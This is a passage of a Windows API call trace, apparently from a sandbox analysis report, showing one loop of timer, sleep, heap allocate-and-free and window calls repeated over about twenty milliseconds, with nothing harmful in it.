bEnable=1) returned 0 [0033.400] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.400] timeGetTime () returned 0x11435ef [0033.400] Sleep (dwMilliseconds=0x0) [0033.400] GetProcessHeap () returned 0x790000 [0033.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.400] GetProcessHeap () returned 0x790000 [0033.400] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.400] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.400] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.400] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.400] timeGetTime () returned 0x11435ef [0033.400] Sleep (dwMilliseconds=0x0) [0033.400] GetProcessHeap () returned 0x790000 [0033.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.400] GetProcessHeap () returned 0x790000 [0033.400] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.400] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.400] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.400] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.400] timeGetTime () returned 0x11435ef [0033.400] Sleep (dwMilliseconds=0x0) [0033.400] GetProcessHeap () returned 0x790000 [0033.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.400] GetProcessHeap () returned 0x790000 [0033.400] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.400] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.400] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.400] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.400] timeGetTime () returned 0x11435ef [0033.400] Sleep (dwMilliseconds=0x0) [0033.400] GetProcessHeap () returned 0x790000 [0033.400] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.400] GetProcessHeap () returned 0x790000 [0033.400] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.400] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.400] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.401] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.401] timeGetTime () returned 0x11435ef [0033.401] Sleep (dwMilliseconds=0x0) [0033.401] GetProcessHeap () returned 0x790000 [0033.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.401] GetProcessHeap () returned 0x790000 [0033.401] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.401] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.401] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.401] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.401] timeGetTime () returned 0x11435ef [0033.401] Sleep (dwMilliseconds=0x0) [0033.401] GetProcessHeap () returned 0x790000 [0033.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.401] GetProcessHeap () returned 0x790000 [0033.401] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.401] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.401] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.401] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.401] timeGetTime () returned 0x11435ef [0033.401] Sleep (dwMilliseconds=0x0) [0033.401] GetProcessHeap () returned 0x790000 [0033.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.401] GetProcessHeap () returned 0x790000 [0033.401] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.401] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.401] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.401] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.401] timeGetTime () returned 0x11435ef [0033.401] Sleep (dwMilliseconds=0x0) [0033.401] GetProcessHeap () returned 0x790000 [0033.401] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.401] GetProcessHeap () returned 0x790000 [0033.401] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.401] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.401] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.401] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.401] timeGetTime () returned 0x11435ef [0033.401] Sleep (dwMilliseconds=0x0) [0033.402] GetProcessHeap () returned 0x790000 [0033.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.402] GetProcessHeap () returned 0x790000 [0033.402] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.402] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.402] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.402] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.402] timeGetTime () returned 0x11435ef [0033.402] Sleep (dwMilliseconds=0x0) [0033.402] GetProcessHeap () returned 0x790000 [0033.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.402] GetProcessHeap () returned 0x790000 [0033.402] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.402] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.402] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.402] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.402] timeGetTime () returned 0x11435ef [0033.402] Sleep (dwMilliseconds=0x0) [0033.402] GetProcessHeap () returned 0x790000 [0033.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.402] GetProcessHeap () returned 0x790000 [0033.402] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.402] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.402] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.402] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.402] timeGetTime () returned 0x11435ef [0033.402] Sleep (dwMilliseconds=0x0) [0033.402] GetProcessHeap () returned 0x790000 [0033.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.402] GetProcessHeap () returned 0x790000 [0033.402] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.402] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.402] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.402] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.402] timeGetTime () returned 0x11435ef [0033.402] Sleep (dwMilliseconds=0x0) [0033.402] GetProcessHeap () returned 0x790000 [0033.402] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.402] GetProcessHeap () returned 0x790000 [0033.403] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.403] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.403] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.403] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.403] timeGetTime () returned 0x11435ef [0033.403] Sleep (dwMilliseconds=0x0) [0033.403] GetProcessHeap () returned 0x790000 [0033.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.403] GetProcessHeap () returned 0x790000 [0033.403] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.403] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.403] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.403] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.403] timeGetTime () returned 0x11435ef [0033.403] Sleep (dwMilliseconds=0x0) [0033.403] GetProcessHeap () returned 0x790000 [0033.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.403] GetProcessHeap () returned 0x790000 [0033.403] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.403] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.403] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.403] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.403] timeGetTime () returned 0x11435ef [0033.403] Sleep (dwMilliseconds=0x0) [0033.403] GetProcessHeap () returned 0x790000 [0033.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.403] GetProcessHeap () returned 0x790000 [0033.403] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.403] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.403] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.403] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.403] timeGetTime () returned 0x11435ef [0033.403] Sleep (dwMilliseconds=0x0) [0033.403] GetProcessHeap () returned 0x790000 [0033.403] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.403] GetProcessHeap () returned 0x790000 [0033.403] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.403] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.403] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.403] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.404] timeGetTime () returned 0x11435ef [0033.404] Sleep (dwMilliseconds=0x0) [0033.404] GetProcessHeap () returned 0x790000 [0033.404] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.404] GetProcessHeap () returned 0x790000 [0033.404] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.404] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.404] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.404] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.404] timeGetTime () returned 0x11435ef [0033.404] Sleep (dwMilliseconds=0x0) [0033.404] GetProcessHeap () returned 0x790000 [0033.404] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.404] GetProcessHeap () returned 0x790000 [0033.404] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.404] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.404] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.404] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.404] timeGetTime () returned 0x11435ef [0033.404] Sleep (dwMilliseconds=0x0) [0033.404] GetProcessHeap () returned 0x790000 [0033.404] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.404] GetProcessHeap () returned 0x790000 [0033.412] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.412] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.412] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.412] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.412] timeGetTime () returned 0x11435fe [0033.412] Sleep (dwMilliseconds=0x0) [0033.412] GetProcessHeap () returned 0x790000 [0033.412] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.412] GetProcessHeap () returned 0x790000 [0033.412] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.412] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.412] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.412] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.412] timeGetTime () returned 0x11435fe [0033.412] Sleep (dwMilliseconds=0x0) [0033.412] GetProcessHeap () returned 0x790000 [0033.412] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.412] GetProcessHeap () returned 0x790000 [0033.412] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.412] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.412] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.413] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.413] timeGetTime () returned 0x11435fe [0033.413] Sleep (dwMilliseconds=0x0) [0033.413] GetProcessHeap () returned 0x790000 [0033.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.413] GetProcessHeap () returned 0x790000 [0033.413] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.413] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.413] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.413] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.413] timeGetTime () returned 0x11435fe [0033.413] Sleep (dwMilliseconds=0x0) [0033.413] GetProcessHeap () returned 0x790000 [0033.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.413] GetProcessHeap () returned 0x790000 [0033.413] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.413] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.413] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.413] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.413] timeGetTime () returned 0x11435fe [0033.413] Sleep (dwMilliseconds=0x0) [0033.413] GetProcessHeap () returned 0x790000 [0033.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.413] GetProcessHeap () returned 0x790000 [0033.413] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.413] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.413] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.413] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.413] timeGetTime () returned 0x11435fe [0033.413] Sleep (dwMilliseconds=0x0) [0033.413] GetProcessHeap () returned 0x790000 [0033.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.413] GetProcessHeap () returned 0x790000 [0033.413] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.413] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.413] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.413] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.413] timeGetTime () returned 0x11435fe [0033.413] Sleep (dwMilliseconds=0x0) [0033.414] GetProcessHeap () returned 0x790000 [0033.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.414] GetProcessHeap () returned 0x790000 [0033.414] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.414] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.414] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.414] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.414] timeGetTime () returned 0x11435fe [0033.414] Sleep (dwMilliseconds=0x0) [0033.414] GetProcessHeap () returned 0x790000 [0033.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.414] GetProcessHeap () returned 0x790000 [0033.414] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.414] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.414] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.414] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.414] timeGetTime () returned 0x11435fe [0033.414] Sleep (dwMilliseconds=0x0) [0033.414] GetProcessHeap () returned 0x790000 [0033.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.414] GetProcessHeap () returned 0x790000 [0033.414] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.414] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.414] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.414] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.414] timeGetTime () returned 0x11435fe [0033.414] Sleep (dwMilliseconds=0x0) [0033.414] GetProcessHeap () returned 0x790000 [0033.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.414] GetProcessHeap () returned 0x790000 [0033.414] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.414] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.414] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.414] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.414] timeGetTime () returned 0x11435fe [0033.414] Sleep (dwMilliseconds=0x0) [0033.414] GetProcessHeap () returned 0x790000 [0033.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.414] GetProcessHeap () returned 0x790000 [0033.414] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.415] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.415] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.415] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.415] timeGetTime () returned 0x11435fe [0033.415] Sleep (dwMilliseconds=0x0) [0033.415] GetProcessHeap () returned 0x790000 [0033.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.415] GetProcessHeap () returned 0x790000 [0033.415] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.415] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.415] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.415] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.415] timeGetTime () returned 0x11435fe [0033.415] Sleep (dwMilliseconds=0x0) [0033.415] GetProcessHeap () returned 0x790000 [0033.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.415] GetProcessHeap () returned 0x790000 [0033.415] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.415] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.415] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.415] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.415] timeGetTime () returned 0x11435fe [0033.415] Sleep (dwMilliseconds=0x0) [0033.415] GetProcessHeap () returned 0x790000 [0033.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.415] GetProcessHeap () returned 0x790000 [0033.415] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.415] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.415] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.415] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.415] timeGetTime () returned 0x11435fe [0033.415] Sleep (dwMilliseconds=0x0) [0033.415] GetProcessHeap () returned 0x790000 [0033.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.415] GetProcessHeap () returned 0x790000 [0033.415] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.415] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.415] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.415] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.416] timeGetTime () returned 0x11435fe [0033.416] Sleep (dwMilliseconds=0x0) [0033.416] GetProcessHeap () returned 0x790000 [0033.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.416] GetProcessHeap () returned 0x790000 [0033.416] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.416] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.416] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.416] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.416] timeGetTime () returned 0x11435fe [0033.416] Sleep (dwMilliseconds=0x0) [0033.416] GetProcessHeap () returned 0x790000 [0033.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.416] GetProcessHeap () returned 0x790000 [0033.416] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.416] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.416] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.416] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.416] timeGetTime () returned 0x11435fe [0033.416] Sleep (dwMilliseconds=0x0) [0033.416] GetProcessHeap () returned 0x790000 [0033.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.416] GetProcessHeap () returned 0x790000 [0033.416] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.416] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.416] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.416] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.416] timeGetTime () returned 0x11435fe [0033.416] Sleep (dwMilliseconds=0x0) [0033.416] GetProcessHeap () returned 0x790000 [0033.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.416] GetProcessHeap () returned 0x790000 [0033.416] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.416] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.416] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.416] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.416] timeGetTime () returned 0x11435fe [0033.416] Sleep (dwMilliseconds=0x0) [0033.416] GetProcessHeap () returned 0x790000 [0033.417] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.417] GetProcessHeap () returned 0x790000 [0033.417] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.417] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.417] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.417] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.417] timeGetTime () returned 0x11435fe [0033.417] Sleep (dwMilliseconds=0x0) [0033.417] GetProcessHeap () returned 0x790000 [0033.417] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.417] GetProcessHeap () returned 0x790000 [0033.417] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.417] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.417] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.417] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.417] timeGetTime () returned 0x11435fe [0033.417] Sleep (dwMilliseconds=0x0) [0033.417] GetProcessHeap () returned 0x790000 [0033.417] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.417] GetProcessHeap () returned 0x790000 [0033.417] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.417] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.417] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.417] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.417] timeGetTime () returned 0x11435fe [0033.417] Sleep (dwMilliseconds=0x0) [0033.417] GetProcessHeap () returned 0x790000 [0033.417] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.417] GetProcessHeap () returned 0x790000 [0033.417] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.417] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.417] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.417] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.417] timeGetTime () returned 0x11435fe [0033.417] Sleep (dwMilliseconds=0x0) [0033.417] GetProcessHeap () returned 0x790000 [0033.417] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.417] GetProcessHeap () returned 0x790000 [0033.417] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.418] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.418] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.418] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.418] timeGetTime () returned 0x11435fe [0033.418] Sleep (dwMilliseconds=0x0) [0033.418] GetProcessHeap () returned 0x790000 [0033.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.418] GetProcessHeap () returned 0x790000 [0033.418] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.418] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.418] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.418] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.418] timeGetTime () returned 0x11435fe [0033.418] Sleep (dwMilliseconds=0x0) [0033.418] GetProcessHeap () returned 0x790000 [0033.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.418] GetProcessHeap () returned 0x790000 [0033.418] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.418] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.418] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.418] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.418] timeGetTime () returned 0x11435fe [0033.418] Sleep (dwMilliseconds=0x0) [0033.418] GetProcessHeap () returned 0x790000 [0033.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.418] GetProcessHeap () returned 0x790000 [0033.418] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.418] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.418] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.418] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.418] timeGetTime () returned 0x11435fe [0033.418] Sleep (dwMilliseconds=0x0) [0033.418] GetProcessHeap () returned 0x790000 [0033.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.418] GetProcessHeap () returned 0x790000 [0033.418] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.418] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.418] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.418] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.419] timeGetTime () returned 0x11435fe 